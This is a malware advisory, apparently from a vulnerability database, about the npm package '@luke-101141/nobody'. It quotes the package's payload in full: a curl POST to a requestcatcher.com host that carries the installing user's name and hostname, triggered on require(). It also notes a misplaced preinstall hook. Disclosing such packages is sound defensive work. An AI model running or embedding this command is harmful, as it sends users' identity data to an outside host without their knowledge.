Malicious code in @luke-101141/nobody (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8a22de475581dbf26085c2605781782a61205eb62add0a261eabe2357ac2cbc8) On require(), index.js executes `curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$(whoami)/$(hostname)/"`, leaking the installing user's identity and machine hostname over plaintext HTTP to an anonymous request-inspection service (requestcatcher.com) commonly used as a throwaway exfil sink. The package has no advertised functionality — empty description, no useful exports — its sole effect is the identity beacon. package.json also contains a top-level `"preinstall": "node index.js"` field outside the `scripts` block; as written it does not fire at install time, but the intent to trigger the same payload at `npm install` is explicit. Any consumer importing this package leaks host/user identity to the attacker. ## Source: ossf-package-analysis (cd4cb72508248900987f8bd099896c95e232fee57835b5a89ac6b0d3178c2ed7) The OpenSSF Package Analysis project identified '@luke-101141/nobody' @ 1.0.1 (npm) as malicious.
